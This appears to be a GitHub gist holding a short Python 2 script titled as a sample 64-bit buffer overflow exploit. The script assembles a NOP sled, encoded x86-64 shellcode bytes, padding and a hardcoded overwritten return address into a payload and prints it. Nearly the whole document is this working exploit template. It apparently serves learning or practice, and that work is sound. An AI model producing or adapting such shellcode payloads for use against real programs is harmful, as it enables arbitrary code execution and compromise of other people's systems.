Created
January 8, 2019 06:30
-
-
Save saibikalpa/ebc8d21df74235d969ba3640eb0236e9 to your computer and use it in GitHub Desktop.
sample 64 bit buffer overflow exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from struct import pack | |
payload_len = 616 | |
nop = "\x90"*300 | |
rip = 0x00007fffffffdefc | |
buf = "" | |
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05" | |
buf += "\xef\xff\xff\xff\x48\xbb\x4b\x39\x49\xc0\x26\xc4\xb7" | |
buf += "\x43\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4" | |
buf += "\x21\x10\x11\x59\x4c\xc6\xe8\x29\x4a\x67\x46\xc5\x6e" | |
buf += "\x53\xff\xfa\x49\x39\x58\x9c\x59\xc4\xb7\x42\x1a\x71" | |
buf += "\xc0\x26\x4c\xd4\xed\x29\x61\x61\x46\xc5\x4c\xc7\xe9" | |
buf += "\x0b\xb4\xf7\x23\xe1\x7e\xcb\xb2\x36\xbd\x53\x72\x98" | |
buf += "\xbf\x8c\x0c\x6c\x29\x50\x27\xef\x55\xac\xb7\x10\x03" | |
buf += "\xb0\xae\x92\x71\x8c\x3e\xa5\x44\x3c\x49\xc0\x26\xc4" | |
buf += "\xb7\x43" | |
buf_len = len(buf) | |
nop_len = len(nop) | |
padding = "A"*(payload_len-nop_len-buf_len) | |
payload = nop + buf + padding + pack("<Q", rip) | |
print payload |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment